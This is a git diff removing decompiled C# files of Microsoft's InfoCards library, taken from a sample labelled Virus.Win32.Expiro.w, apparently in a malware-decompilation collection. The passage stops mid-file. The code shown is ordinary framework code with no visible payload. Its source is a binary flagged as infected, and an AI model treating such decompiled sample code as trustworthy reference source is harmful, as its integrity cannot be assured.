a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IntermediatePolicyValidator.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IntermediatePolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal class IntermediatePolicyValidator : PolicyValidator - { - public IntermediatePolicyValidator(InfoCardPolicy policy) - : base(policy) - { - } - - public override void Validate() => this.ValidateAppliesTo(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InvalidCardException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InvalidCardException.cs deleted file mode 100644 index 5da2b504..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InvalidCardException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InvalidCardException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InvalidCardException : InfoCardBaseException - { - private const int HRESULT = -1073413881; - - public InvalidCardException() - : base(-1073413881) - { - } - - public InvalidCardException(string message) - : base(-1073413881, message) - { - } - - public InvalidCardException(string message, Exception inner) - : base(-1073413881, message, inner) - { - } - - protected InvalidCardException(SerializationInfo si, StreamingContext sc) - : base(-1073413881, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs deleted file mode 100644 index d900e983..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InvalidStoreProtectionKeyException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InvalidStoreProtectionKeyException : InfoCardBaseException - { - private const int HRESULT = -1073413880; - - public InvalidStoreProtectionKeyException() - : base(-1073413880) - { - } - - public InvalidStoreProtectionKeyException(string message) - : base(-1073413880, message) - { - } - - public InvalidStoreProtectionKeyException(string message, Exception inner) - : base(-1073413880, message, inner) - { - } - - protected InvalidStoreProtectionKeyException(SerializationInfo si, StreamingContext sc) - : base(-1073413880, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IssuerInformation.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IssuerInformation.cs deleted file mode 100644 index bdc8b78d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IssuerInformation.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IssuerInformation -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class IssuerInformation - { - private List m_informationEntries; - - public IssuerInformation() => this.m_informationEntries = new List(); - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.m_informationEntries.Count); - if (this.m_informationEntries.Count <= 0) - return; - foreach (IssuerInformationEntry informationEntry in this.m_informationEntries) - { - Utility.SerializeString(writer, informationEntry.Name); - Utility.SerializeString(writer, informationEntry.Value); - } - } - - public void ReadIssuerInformation(XmlReader reader) - { - if (!reader.IsStartElement(nameof (IssuerInformation), "http://schemas.xmlsoap.org/ws/2007/01/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - while (reader.Read()) - { - if ("IssuerInformationEntry" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - this.ReadIssuerInformationEntry(reader); - if (nameof (IssuerInformation) == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType) - break; - } - } - - public void ReadIssuerInformationEntry(XmlReader reader) - { - if (!reader.IsStartElement("IssuerInformationEntry", "http://schemas.xmlsoap.org/ws/2007/01/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - string name = string.Empty; - string str = string.Empty; - while (reader.Read()) - { - if ("IssuerInformationEntry" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType) - { - this.m_informationEntries.Add(new IssuerInformationEntry(name, str)); - break; - } - if ("EntryName" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - { - name = reader.ReadString(); - if (string.IsNullOrEmpty(name)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException()); - } - if ("EntryValue" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - str = reader.ReadString(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IssuerInformationEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IssuerInformationEntry.cs deleted file mode 100644 index 71e04dc2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IssuerInformationEntry.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IssuerInformationEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal class IssuerInformationEntry - { - private string entryName; - private string entryValue; - - public string Name => this.entryName; - - public string Value => this.entryValue; - - public IssuerInformationEntry(string name, string value) - { - this.entryName = name; - this.entryValue = value; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs deleted file mode 100644 index 54a0879a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KerberosTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class KerberosTokenFactoryCredential : TokenFactoryCredential - { - public KerberosTokenFactoryCredential() - : base(TokenFactoryCredentialType.KerberosCredential) - { - } - - protected override void DeserializeData(BinaryReader reader) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyBlock.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyBlock.cs deleted file mode 100644 index 2736d45d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyBlock.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyBlock -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 592)] - internal struct KeyBlock - { - public const int StructSize = 592; - public const int EncryptedKeyBlockSize = 512; - public const int Pkcs5IVBlockSize = 32; - public const int SaltBlockSize = 32; - public const int IVOffset = 0; - public const int SaltOffset = 32; - public const int IterationCountOffset = 64; - public const int EncryptedKeySizeOffset = 68; - public const int EncryptedKeyOffset = 72; - public const int ReservedPaddingOffset = 584; - public const int KeyTypeOffset = 588; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(0)] - public byte IV; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(32)] - public byte Salt; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(64)] - public int IterationCount; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(68)] - public int EncryptedKeySize; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - [FieldOffset(72)] - public byte EncryptedKey; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(584)] - private int ReservedPadding; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(588)] - public int KeyType; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyBlockV2.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyBlockV2.cs deleted file mode 100644 index 8eb1e678..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyBlockV2.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyBlockV2 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct KeyBlockV2 - { - public const int StructSize = 8; - public const int keySizeOffset = 0; - public const int keyDataOffset = 4; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(0)] - public int KeyDataSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(4)] - public int KeyDataOffset; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyGenRestartCodes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyGenRestartCodes.cs deleted file mode 100644 index d6f89dbf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/KeyGenRestartCodes.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyGenRestartCodes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum KeyGenRestartCodes - { - X931RestartNone, - X931RestartDTooSmall, - X931RestartNonTrivialGcd, - X931RestartPQOverflow, - X931RestartPQ12OverFlow, - X931RestartXpXqClose, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LedgerEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LedgerEntry.cs deleted file mode 100644 index 0647c8e9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LedgerEntry.cs +++ /dev/null @@ -1,211 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LedgerEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class LedgerEntry - { - private const int InvalidRow = 0; - private const byte Version = 1; - private const byte m_marker = 29; - private bool m_isDirty; - private DateTime m_disclosureDate = DateTime.MinValue; - private string m_recipientId; - private Recipient m_recipient; - private byte[] m_subjectKey; - private string[] m_disclosedClaims; - private Uri m_infoCardId; - private string m_immediateRecipientOrgId; - private int m_rowId; - - public LedgerEntry(Stream stream, StoreConnection connection) - { - InfoCardTrace.Assert(null != stream, " Null input stream"); - InfoCardTrace.Assert(null != connection, "Null storeconnection"); - this.m_isDirty = false; - this.Deserialize(stream); - DataRow singleRow = connection.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - InfoCardTrace.Assert(null != singleRow, "Recipient should always exist in store before a ledger entry is created "); - if (singleRow != null) - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField())); - this.ThrowIfNotComplete(); - } - - public static LedgerEntry NewLedgerEntry( - Uri infoCardId, - Recipient recipient, - byte[] masterKey, - string immediateTokenRecipientOrganizationIdentifier) - { - return new LedgerEntry(infoCardId, recipient, masterKey, immediateTokenRecipientOrganizationIdentifier); - } - - public LedgerEntry( - Uri infoCardId, - Recipient recipient, - byte[] masterKey, - string immediateTokenRecipientOrganizationIdentifier) - { - InfoCardTrace.Assert(null != recipient, "Null recipient"); - InfoCardTrace.Assert((Uri) null != infoCardId, "Null infocard ID"); - this.m_isDirty = true; - this.m_infoCardId = infoCardId; - this.m_disclosureDate = DateTime.Now; - this.m_recipient = recipient; - this.m_recipientId = recipient.RecipientId; - this.m_immediateRecipientOrgId = immediateTokenRecipientOrganizationIdentifier; - this.m_subjectKey = RsaKeyGen.CreateRsaKeyPairX931(masterKey, Convert.FromBase64String(immediateTokenRecipientOrganizationIdentifier)); - this.ThrowIfNotComplete(); - } - - public bool CheckAndUpdateSubjectKey(string immediateTokenRecipientOrgId, byte[] masterKey) - { - if (!(this.m_immediateRecipientOrgId != immediateTokenRecipientOrgId)) - return false; - this.m_immediateRecipientOrgId = immediateTokenRecipientOrgId; - this.m_subjectKey = RsaKeyGen.CreateRsaKeyPairX931(masterKey, Convert.FromBase64String(immediateTokenRecipientOrgId)); - return true; - } - - public bool IsDirty => this.m_isDirty; - - public DateTime DisclosureDate - { - set - { - this.m_disclosureDate = value; - this.m_isDirty = true; - } - } - - public byte[] SubjectKey - { - get - { - InfoCardTrace.Assert(!Utility.ArrayIsNullOrEmpty((Array) this.m_subjectKey), "SubjectKey not populated!"); - return this.m_subjectKey; - } - } - - public string[] DisclosedClaims - { - get => this.m_disclosedClaims; - set - { - this.m_disclosedClaims = value; - this.m_isDirty = true; - } - } - - public Recipient Recipient => this.m_recipient; - - public Uri InfoCardId => this.m_infoCardId; - - public void ThrowIfNotComplete() - { - if (this.m_immediateRecipientOrgId == null || this.m_recipientId == null || Utility.ArrayIsNullOrEmpty((Array) this.m_subjectKey) || !((Uri) null != this.m_infoCardId) || !(DateTime.MinValue != this.m_disclosureDate)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write(this.m_disclosureDate.ToFileTimeUtc()); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_immediateRecipientOrgId); - Utility.SerializeBytes(writer, this.m_subjectKey); - Utility.SerializeUri(writer, this.m_infoCardId); - writer.Write(this.m_disclosedClaims == null ? 0 : this.m_disclosedClaims.Length); - if (this.m_disclosedClaims != null) - { - foreach (string disclosedClaim in this.m_disclosedClaims) - Utility.SerializeString(writer, disclosedClaim); - } - writer.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != reader.ReadByte()) - InfoCardTrace.Assert(false, "version mismatch deserializing ledger"); - this.m_disclosureDate = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_recipientId = Utility.DeserializeString(reader); - this.m_immediateRecipientOrgId = Utility.DeserializeString(reader); - this.m_subjectKey = reader.ReadBytes(reader.ReadInt32()); - this.m_infoCardId = Utility.DeserializeUri(reader); - int length = reader.ReadInt32(); - if (length > 0) - { - this.m_disclosedClaims = new string[length]; - for (int index = 0; index < length; ++index) - this.m_disclosedClaims[index] = Utility.DeserializeString(reader); - } - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected deserializing ledger"); - this.ThrowIfNotComplete(); - this.m_isDirty = false; - } - - public void Save(StoreConnection con) - { - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -1; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - row.SetIndexValue("ix_name", (object) this.m_recipientId); - MemoryStream output = new MemoryStream(); - this.Serialize(new BinaryWriter((Stream) output, Encoding.Unicode)); - row.SetDataField(output.ToArray()); - con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - if (row != null) - con.Save(row); - else - InfoCardTrace.Assert(false, "Currupt store - no recipient found for ledger"); - this.m_rowId = row.LocalId; - this.m_isDirty = false; - } - - public override string ToString() => base.ToString(); - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate infocard before retrieving ledger"); - return con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LedgerEntryCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LedgerEntryCollection.cs deleted file mode 100644 index 58b2054d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LedgerEntryCollection.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LedgerEntryCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class LedgerEntryCollection : Dictionary - { - private Uri m_infoCardId; - - private LedgerEntryCollection() - { - } - - public void Add(LedgerEntry entry) => this[entry.Recipient.RecipientId] = entry; - - public LedgerEntryCollection(Uri infoCardId) => this.m_infoCardId = infoCardId; - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "The infocard id must be specified prior to executing this operation"); - ICollection dataRows = con.Query(QueryDetails.FullRow, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - if (dataRows == null || dataRows.Count <= 0) - return; - foreach (DataRow dataRow in (List) dataRows) - { - LedgerEntry ledgerEntry = new LedgerEntry((Stream) new MemoryStream(dataRow.GetDataField()), con); - this[ledgerEntry.Recipient.RecipientId] = ledgerEntry; - } - } - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - keyValuePair.Value.Serialize(writer); - } - - public void Save(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "The infocard id must be specified prior to executing this operation"); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - LedgerEntry ledgerEntry = keyValuePair.Value; - if (ledgerEntry.IsDirty) - ledgerEntry.Save(con); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LifeTimeMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LifeTimeMonitor.cs deleted file mode 100644 index 6cae63be..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LifeTimeMonitor.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LifeTimeMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.ServiceProcess; -using System.Timers; - -namespace Microsoft.InfoCards -{ - internal class LifeTimeMonitor - { - private const int DefaultShutdownInterval = 3600000; - private const int MinimumShutdownInterval = 60000; - private const string ServiceIdleTimeValue = "ServiceIdleTime"; - private int m_activeCount; - private bool m_isShuttingDown; - private Timer m_shutdownTimer; - private object m_syncRoot = new object(); - - public LifeTimeMonitor() - { - int interval = 3600000; - using (new SystemIdentity(false)) - { - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(InfoCardConstants.RegistryKey, false)) - { - if (registryKey != null) - { - object obj = registryKey.GetValue("ServiceIdleTime", (object) 3600000); - if (obj is int num) - { - if (num >= 60000) - interval = (int) obj; - } - } - } - } - this.m_activeCount = 0; - this.m_shutdownTimer = new Timer((double) interval); - this.m_shutdownTimer.Elapsed += new ElapsedEventHandler(this.OnShutdown); - this.m_shutdownTimer.AutoReset = false; - this.m_isShuttingDown = false; - this.StartShutdownTimer(); - } - - public void AddClient() - { - lock (this.m_syncRoot) - { - InfoCardTrace.Assert(this.m_activeCount >= 0, "incorrect active count"); - if (this.m_isShuttingDown) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException()); - ++this.m_activeCount; - if (1 != this.m_activeCount) - return; - this.StopShutdownTimer(); - } - } - - public void RemoveClient() - { - lock (this.m_syncRoot) - { - InfoCardTrace.Assert(this.m_activeCount > 0, "invalid active count"); - --this.m_activeCount; - if (this.m_activeCount != 0) - return; - this.StartShutdownTimer(); - } - } - - private void OnShutdown(object sender, ElapsedEventArgs args) - { - lock (this.m_syncRoot) - { - if (this.m_activeCount > 0) - return; - this.m_shutdownTimer.Enabled = false; - this.m_isShuttingDown = true; - InfoCardTrace.Audit(EventCode.AUDIT_SERVICE_IDLE_STOP); - } - using (new SystemIdentity(false)) - new ServiceController("idsvc").Stop(); - } - - private void StartShutdownTimer() => this.m_shutdownTimer.Start(); - - private void StopShutdownTimer() => this.m_shutdownTimer.Stop(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ListCardsInFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ListCardsInFileRequest.cs deleted file mode 100644 index 5d728e7c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ListCardsInFileRequest.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ListCardsInFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal 